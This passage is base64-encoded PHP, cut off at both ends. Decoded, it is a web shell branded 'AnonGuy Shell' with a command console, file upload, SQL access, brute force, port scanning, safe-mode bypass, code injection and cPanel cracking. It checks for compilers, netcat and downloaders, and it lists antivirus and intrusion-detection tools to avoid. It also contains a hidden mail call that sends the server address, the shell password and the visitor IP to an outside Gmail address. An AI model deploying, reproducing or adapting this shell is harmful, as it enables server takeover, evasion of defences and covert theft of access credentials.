FjZT8kdG90YWxTcGFjZToxOw0KICAgICRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KICAgICRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOw0KICAgICRrZXJuZWwgPSBAcGhwX3VuYW1lKCdzJyk7DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQogICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsNCiAgICAgICAgJHVpZCA9IEBnZXRteXVpZCgpOw0KICAgICAgICAkZ2lkID0gQGdldG15Z2lkKCk7DQogICAgICAgICRncm91cCA9ICI/IjsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOw0KICAgICAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOw0KICAgICAgICAkdXNlciA9ICR1aWRbJ25hbWUnXTsNCiAgICAgICAgJHVpZCA9ICR1aWRbJ3VpZCddOw0KICAgICAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107DQogICAgICAgICRnaWQgPSAkZ2lkWydnaWQnXTsNCiAgICB9DQogICAgJGN3ZF9saW5rcyA9ICcnOw0KICAgICRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQogICAgJG49Y291bnQoJHBhdGgpOw0KICAgIGZvcigkaT0wOyRpPCRuLTE7JGkrKykgew0KICAgICAgICAkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7DQogICAgICAgIGZvcigkaj0wOyRqPD0kaTskaisrKQ0KICAgICAgICAgICAgJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOw0KICAgICAgICAkY3dkX2xpbmtzIC49ICJcIiknPiIuJHBhdGhbJGldLiIvPC9hPiI7DQogICAgfQ0KICAgICRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOw0KICAgICRvcHRfY2hhcnNldHMgPSAnJzsNCiAgICBmb3JlYWNoKCRjaGFyc2V0cyBhcyAkaXRlbSkNCiAgICAgICAgJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4kaXRlbS4nIiAnLigkX1BPU1RbJ2NoYXJzZXQnXT09JGl0ZW0/J3NlbGVjdGVkJzonJykuJz4nLiRpdGVtLic8L29wdGlvbj4nOw0KICAgICRtID0gYXJyYXkoJ1NlYy4gSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdDb25zb2xlJz0+J0NvbnNvbGUnLCdTUUwnPT4nU1FMJywnUEhQJz0+J1BIUCcsJ0xGSSc9PidsZmlzY2FuJywnQnlwYXNzZXInPT4nU2FmZU1vZGUnLCdTYWZlIE1vZGUnPT4nQnlwYXNzJywnU3RyaW5nIFRvb2xzJz0+J1N0cmluZ1Rvb2xzJywnQnJ1dGVmb3JjZSc9PidCcnV0ZWZvcmNlJywnTmV0d29yayc9PidOZXR3b3JrJywnUmVhZGFibGUgRGlycyc9PidSZWFkYWJsZScsJ1BvcnQgU2Nhbm5lcic9PidQb3J0U2Nhbm5lcicsJ1N5bWxpbmsnPT4nU3ltbGluaycsJ0NvZGUgSW5qZWN0b3InPT4nSW5qZWN0b3InLCdab25lIEgnPT4nWkhwb3N0ZXInLCdDUENyYWNrJz0+J0NwYW5lbCcsJ0RvbWFpbnMnID0+ICdEb21haW4nKTsNCiAgICBpZighZW1wdHkoJEdMT0JBTFNbJ2F1dGhfcGFzcyddKSkNCiAgICAkbVsnS2lsbE1lJ10gPSAnU2VsZlJlbW92ZSc7DQogICAgJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7DQogICAgJG1lbnUgPSAnJzsNCiAgICBmb3JlYWNoKCRtIGFzICRrID0+ICR2KQ0KICAgICAgICAkbWVudSAuPSAnPHRoPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPjwvdGg+JzsNCiAgICAkZHJpdmVzID0gIiI7DQogICAgaWYgKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7DQogICAgICAgIGZvcmVhY2goIHJhbmdlKCdhJywneicpIGFzICRkcml2ZSApew0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZHJpdmUuJzpcXCcpKQ0KICAgICAgICAgICAgICAgICRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsNCiAgICAgICAgfQ0KICAgICAgICAkZHJpdmVzIC49ICc8YnIgLz46ICc7DQogICAgfQ0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnKSB7DQogICAgICAgICRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7DQogICAgICAgIGlmKCEkZG9taW5pb3MpIHsNCiAgICAgICAgICAgICRkMGMgPSAiQ0FOVCBSRUFEIG5hbWVkLmNvbmYiOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgQHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTsNCiAgICAgICAgICAgICRvdXQgPSBzaXplb2YoYXJyYXlfdW5pcXVlKCRvdXRbMV0pKTsNCiAgICAgICAgICAgICRkMGMgPSAkb3V0LiIgIERvbWFpbnMiOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJGQwYyA9ICIgLS0tICI7DQogICAgfQ0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnICkNCiAgICB7DQogICAgICAgICR1c2VmbCA9ICcnOyAkZHdubGRyID0gJyc7DQogICAgICAgIGlmKCFAaW5pX2dldCgnc2FmZV9tb2RlJykpIHsNCiAgICAgICAgICAgICR0ZW1wID0gYXJyYXkoKTsNCiAgICAgICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOw0KICAgICAgICAgICAgZm9yZWFjaCgkdXNlcmZ1bCBhcyAkaXRlbSkgeyBpZih3aGljaCgkaXRlbSkpICR0ZW1wW109ICRpdGVtOyB9DQogICAgICAgICAgICAkdXNlZmwgPSBpbXBsb2RlKCcsICcsJHRlbXApOw0KICAgICAgICAgICAgJHRlbXAgPSBhcnJheSgpOw0KICAgICAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7DQogICAgICAgICAgICBmb3JlYWNoKCRkb3dubG9hZGVycyBhcyAkaXRlbTIpIHsgaWYod2hpY2goJGl0ZW0yKSkgJHRlbXBbXT0gJGl0ZW0yOyB9DQogICAgICAgICAgICAkZHdubGRyID0gaW1wbG9kZSgnLCAnLCR0ZW1wKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICR1c2VmbCA9ICcgLS0tLS0tLSAnOyAkZHdubGRyID0gJyAtLS0tLS0tICc7DQogICAgICAgIH0NCiAgICB9IGVsc2UgeyANCiAgICAgICAgJHVzZWZsID0gJyAtLS0tLS0tICc7ICRkd25sZHIgPSAnIC0tLS0tLS0gJzsNCiAgICB9IA0KICAgIGVjaG8gJzx0YWJsZSBjbGFzcz0iaW5mbyIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0iMTYwcHgiPjxkaXYgY2xhc3M9ImxvZ28iPkFHPHN1cD4mY29weTs8L3N1cD48L2Rpdj48aHIgc3R5bGU9Im1hcmdpbjogLTVweCAxM3B4IDJweCAxN3B4O3dpZHRoOjEzMHB4OyI+PGRpdiBjbGFzcz0iZWNhMSI+b2Y8L2Rpdj48ZGl2IGNsYXNzPSJlY2EyIj5NYURMZWVUczwvZGl2PjwvdGQ+DQogICAgICAgICAgPHRkPjx0YWJsZSBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiIGNsYXNzPSJucG9hZCI+PHRyPjx0ZCB3aWR0aD0iMTI1cHg7Ij48c3Bhbj5VbmFtZTwvc3Bhbj48L3RkPjx0ZD46IDxub2JyPicuc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKS4nPC9ub2JyPjwvdGQ+PC90cj4NCiAgICAgICAgICA8dHI+PHRkPjxzcGFuPlVzZXI8L3NwYW4+PC90ZD48dGQ+OiAnLiR1aWQuJyAoICcuJHVzZXIuJyApIDxzcGFuPkdyb3VwOiA8L3NwYW4+ICcuJGdpZC4nICggJy4kZ3JvdXAuJyApPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+U2VydmVyPC9zcGFuPjwvdGQ+PHRkPjogJy5AZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+VXNlZnVsPC9zcGFuPjwvdGQ+PHRkPjogJy4kdXNlZmwuJzwvdGQ+PC90cj48dHI+PHRkPjxzcGFuPkRvd25sb2FkZXJzPC9zcGFuPjwvdGQ+PHRkPjogJy4kZHdubGRyLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5EaXNhYmxlZCBmdW5jdGlvbnM8L3NwYW4+PC90ZD48dGQ+OiAnLigkZGlzYWJsZV9mdW5jdGlvbnM/JGRpc2FibGVfZnVuY3Rpb25zOidBbGwgRnVuY3Rpb25zIEFyZSBFbmFibGVkIDpEJykuJzwvdGQ+PC90cj48dHI+PHRkPjxzcGFuPicuKCRHTE9CQUxTWydvcyddID09ICd3aW4nPydEcml2ZXM8YnIgLz5Dd2QnOidDd2QnKS4nPC9zcGFuPjwvdGQ+PHRkPjogJy4kZHJpdmVzLicnLiRjd2RfbGlua3MuJyAnLnZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRHTE9CQUxTWydob21lX2N3ZCddLidcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+Jy4NCiAgICAgICAgICc8dGQgd2lkdGg9MT48bm9icj48c3Bhbj5Cb3hgcyBJUDwvc3Bhbj48YnI+PHNwYW4+WW91ciBJUDwvc3Bhbj48YnIgLz48c3Bhbj5IREQ8L3NwYW4+PGJyIC8+PHNwYW4+RnJlZTwvc3Bhbj48YnIgLz48c3Bhbj5QSFA8L3NwYW4+PGJyIC8+PHNwYW4+U2FmZSBNb2RlPC9zcGFuPjxiciAvPjxzcGFuPkRvbWFpbnM8L3NwYW4+PC9ub2JyPjwvdGQ+Jy4NCiAgICAgICAgICc8dGQ+PG5vYnI+OiAnLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4nPGJyPjogJy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nPGJyIC8+OiAnLnZpZXdTaXplKCR0b3RhbFNwYWNlKS4nPGJyIC8+OiAnLnZpZXdTaXplKCRmcmVlU3BhY2UpLicgKCcuKGludCkoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApLiclKTxicj46ICcuQHBocHZlcnNpb24oKS4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnUGhwXCcsbnVsbCxudWxsLFwnaW5mb1wnKSI+WyBwaHBpbmZvIF08L2E+PGJyIC8+OiAnLigkR0xPQkFMU1snc2FmZV9tb2RlJ10/Jzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj0nLiRjb2xvci4nPGI+T0ZGPC9iPjwvZm9udD4nKS4nPGJyIC8+OiAnLiRkMGMuJzwvbm9icj48L3RkPjwvdHI+PC90YWJsZT4nLg0KICAgICAgICAgJzwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1O2JhY2tncm91bmQ6IzAwMDAwMDsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXItdG9wOjFweCBzb2xpZCAjMDBmZjAwO3BhZGRpbmc6MnB4OyI+PHRhYmxlIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiIGNsYXNzPSJtZW51Ij48dHI+Jy4kbWVudS4nPC90cj48L3RhYmxlPjwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1O2JhY2tncm91bmQ6IzAwMDAwMDsiPic7DQp9DQoNCmZ1bmN0aW9uIHByaW50Rm9vdGVyKCkgew0KICAgICRpc193cml0YWJsZSA9IGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/Ijxmb250IGNvbG9yPWdyZWVuPlsgV3JpdGVhYmxlIF08L2ZvbnQ+IjoiPGZvbnQgY29sb3I9cmVkPlsgTm90IHdyaXRhYmxlIF08L2ZvbnQ+IjsNCg0KZWNobyAnPC9kaXY+PGRpdiBzdHlsZT0ibWFyZ2luOjVweDtiYWNrZ3JvdW5kOiMwMDAwMDA7Ij48ZGl2IGNsYXNzPSJjb250ZW50IiBzdHlsZT0iYm9yZGVyLXRvcDoxcHggc29saWQgIzAwZmYwMDsiPg0KPHRhYmxlIGNsYXNzPSJpbmZvIiBpZD0idG9vbHNUYmwiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiPg0KICAgIDx0cj4NCiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+DQogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+UmVhZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnRmlsZXNNYW5cJyxudWxsLFwnbWtkaXJcJyx0aGlzLmQudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+Jy4kaXNfd3JpdGFibGUuJzwvdGQ+DQogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLHRoaXMuZi52YWx1ZSxcJ21rZmlsZVwnKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nLiRpc193cml0YWJsZS4nPC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnQ29uc29sZVwnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4NCiAgICAgICAgPHRkPjxmb3JtIG1ldGhvZD0icG9zdCIgRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9IkZpbGVzTUFuIj4NCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+DQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSJ1cGxvYWRGaWxlIj4NCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4NCiAgICAgICAgPHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nLiRpc193cml0YWJsZS4nPC90ZD4NCiAgICA8L3RyPg0KPC90YWJsZT48L2Rpdj48L2Rpdj4NCjxkaXYgc3R5bGU9Im1hcmdpbjo1cHg7YmFja2dyb3VuZDojMDAwMDAwOyI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlci10b3A6MXB4IHNvbGlkICMwMGZmMDA7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDsiPlRoaXMgU2hlbGwgQmVsb25ncyB0byBBbm9uR3V5IG9mIE1hRExlZVRzICZjb3B5OywgQ29udGFjdCB3d3cuZmFjZWJvb2suY29tL0Fia1RoZVNweSBJZiBGb3VuZCAhISA6UDwvZGl2PjwvZGl2Pg0KPC9kaXY+DQo8L2JvZHk+PC9odG1sPic7DQp9DQoNCmlmICggIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0cHd1aWQnKT09PWZhbHNlKSApIHsgZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHsgcmV0dXJuIGZhbHNlOyB9IH0NCmlmICggIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSApIHsgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHsgcmV0dXJuIGZhbHNlOyB9IH0NCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlsndHJpbWl0ZSddKSl7DQogICAgJHVybD0iPGI+SVA6PC9iPiAiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iXA0KCTxiPlBhc3M6PC9iPiAiLiRhdXRoX3Bhc3M7IlwNCjxiPlVybDo8L2I+ICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLiJcDQo8Yj5Vc2VyIElQOjwvYj4gIi4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4oaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10pPycoJy4kX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXS4nKSc6JycpOw0KICAgIEBtYWlsKCJ0ZWFtbWFkbGVldHNAZ21haWwuY29tIiwiQW5Pbkd1WV9TaGVsbF8yLjAiLCR1cmwpOw0KICAgICRfU0VTU0lPTlsndHJpbWl0ZSddPXRydWU7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTaXplKCRzKSB7DQogICAgaWYoJHMgPj0gMTA3Mzc0MTgyNCkNCiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOw0KICAgIGVsc2VpZigkcyA+PSAxMDQ4NTc2KQ0KICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOw0KICAgIGVsc2VpZigkcyA+PSAxMDI0KQ0KICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOw0KICAgIGVsc2UNCiAgICAgICAgcmV0dXJuICRzIC4gJyBCJzsNCn0NCg0KZnVuY3Rpb24gcGVybXMoJHApIHsNCiAgICBpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7DQogICAgZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsNCiAgICBlbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy0nOw0KICAgIGVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAnYic7DQogICAgZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsNCiAgICBlbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2MnOw0KICAgIGVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7DQogICAgZWxzZSAkaSA9ICd1JzsNCiAgICAkaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQogICAgJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQogICAgJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncicgOiAnLScpOw0KICAgICRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsNCiAgICAkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOw0KICAgICRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAkaSAuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQogICAgJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCiAgICByZXR1cm4gJGk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdQZXJtc0NvbG9yKCRmKSB7IA0KICAgIGlmICghQGlzX3JlYWRhYmxlKCRmKSkNCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7DQogICAgZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkNCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOw0KICAgIGVsc2UNCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jMDBGRjAwPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7DQp9DQoNCmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgew0KICAgIGZ1bmN0aW9uIHNjYW5kaXIoJGRpcikgew0KICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsNCiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkgew0KICAgICAgICAgICAgJGZpbGVzW10gPSAkZmlsZW5hbWU7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRmaWxlczsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblNlY0luZm8oKSB7DQogICAgcHJpbnRIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCiAgICBmdW5jdGlvbiBzaG93U2VjUGFyYW0oJG4sICR2KSB7DQogICAgICAgICR2ID0gdHJpbSgkdik7DQogICAgICAgIGlmKCR2KSB7DQogICAgICAgICAgICBlY2hvICc8c3Bhbj4nLiRuLic6IDwvc3Bhbj4nOw0KICAgICAgICAgICAgaWYoc3RycG9zKCR2LCAiXA0KIikgPT09IGZhbHNlKQ0KICAgICAgICAgICAgICAgIGVjaG8gJHYuJzxicj4nOw0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPicuJHYuJzwvcHJlPic7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgc2hvd1NlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSk7DQogICAgc2hvd1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddKT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOw0KICAgIHNob3dTZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7DQogICAgc2hvd1NlY1BhcmFtKCdTYWZlIG1vZGUgZXhlYyBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpOw0KICAgIHNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsNCiAgICBzaG93U2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQnOidubycpOw0KICAgICR0ZW1wPWFycmF5KCk7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkNCiAgICAgICAgJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpDQogICAgICAgICR0ZW1wW10gPSAiTVNTUUwiOw0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQ0KICAgICAgICAkdGVtcFtdID0gIlBvc3RncmVTUUwiOw0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkNCiAgICAgICAgJHRlbXBbXSA9ICJPcmFjbGUiOw0KICAgIHNob3dTZWNQYXJhbSgnU3VwcG9ydGVkIGRhdGFiYXNlcycsIGltcGxvZGUoJywgJywgJHRlbXApKTsNCiAgICBlY2hvICc8YnI+JzsNCiAgICANCiAgICBpZiggJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcgKSB7DQogICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOw0KICAgICAgICAkZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25vZDMyJywnYmRjb3JlZCcsJ3V2c2NhbicsJ3NhdicsJ2Ryd2ViZCcsJ2NsYW1kJywncmtodW50ZXInLCdjaGtyb290a2l0JywnaXB0YWJsZXMnLCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2VjJywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5